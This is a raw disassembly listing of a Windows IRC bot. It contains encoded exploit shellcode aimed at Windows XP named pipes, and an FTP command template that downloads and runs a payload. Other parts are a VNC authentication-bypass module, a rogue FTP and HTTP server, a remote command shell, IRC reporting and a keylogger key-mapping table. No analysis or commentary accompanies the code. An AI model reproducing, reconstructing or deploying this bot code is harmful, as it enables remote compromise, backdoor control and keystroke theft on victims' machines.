		rep fld	tbyte ptr [eax-12h]
		jz	short loc_432798
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4327D2:				; CODE XREF: ___:00432779j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_43285E
		jo	short loc_4327B4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_4327F5+1
		add	bl, [edi]


loc_4327F5:				; CODE XREF: ___:004327F1j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43280A+2
		cmp	ch, bh
		dec	edx


loc_43280A:				; CODE XREF: ___:00432805j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_43285E:				; CODE XREF: ___:004327E5j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4328E4
		sub	al, 0BCh
		jmp	near ptr 54452C52h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432880	dd 0EFFFC481h, 44FFFFh,	4328CCh	; DATA XREF: ___:0040DC33o
dword_43288C	dd 42Ah			; DATA XREF: ___:0040DBE6r
dword_432890	dd 3E8h			; DATA XREF: ___:0040DC57r
dword_432894	dd 258h			; DATA XREF: ___:0040DC29r
byte_432898	db 1			; DATA XREF: ___:0040DB92r
					; ___:0040DC60r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4328B0	dd 20804h		; DATA XREF: sub_40D8A0r ___:0040DC7Eo ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:0043289Co
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4328E4:				; CODE XREF: ___:00432868j
		push	eax
		xor	al, 29h


loc_4328E7:				; DATA XREF: ___:0040DBBAo
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_4328F0	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAEAo
dword_432904	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Eo
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Do
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE3+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4329AC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Do
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E29Ao
		align 10h
word_433BF0	dw 1			; DATA XREF: ___:0040E211r
		align 4
dword_433BF4	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C65+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00438358o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00438364o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_433EDC	db  2Dh	; -		; DATA XREF: sub_40F0D6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433F04	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D6+2CFo
					; sub_41A4D2+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D6+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F531+98o
					; sub_41AA43+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F531+5Fo
		align 4
unk_434124	db  2Dh	; -		; DATA XREF: sub_40F6B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_43415C	db  2Dh	; -		; DATA XREF: sub_40F6B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_434190:				; DATA XREF: sub_40F6B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96B+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96B+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+328o
					; sub_40F96B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_40F96B+2E9o
					; sub_40F96B+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96B+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_40F96B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_434638	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410313o
dword_43467C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_4346E4	db  2Dh	; -		; DATA XREF: ___:00410494o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43472C	db  2Dh	; -		; DATA XREF: ___:004106E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_43476C	db  2Dh	; -		; DATA XREF: ___:0041061Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4347B0	db  2Dh	; -		; DATA XREF: ___:004109A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4347DC	db  2Dh	; -		; DATA XREF: ___:00410982o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434808	db  2Dh	; -		; DATA XREF: ___:00410962o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410932o
		align 4
unk_434844	db  2Dh	; -		; DATA XREF: ___:004108A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_434870	db  2Dh	; -		; DATA XREF: sub_4109C5:loc_410A0Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_43489C	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434A38	db  2Dh	; -		; DATA XREF: sub_410CD6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434A6C	db  2Dh	; -		; DATA XREF: sub_410CD6+59o
					; sub_410CD6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434AB4	db  2Dh	; -		; DATA XREF: sub_410E27+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434ADC	db  2Dh	; -		; DATA XREF: sub_410E27+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434B1C	db  2Dh	; -		; DATA XREF: sub_410E27+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B5C	db  2Dh	; -		; DATA XREF: sub_410F20+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F20+8Co
		align 4
dword_434B9C	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
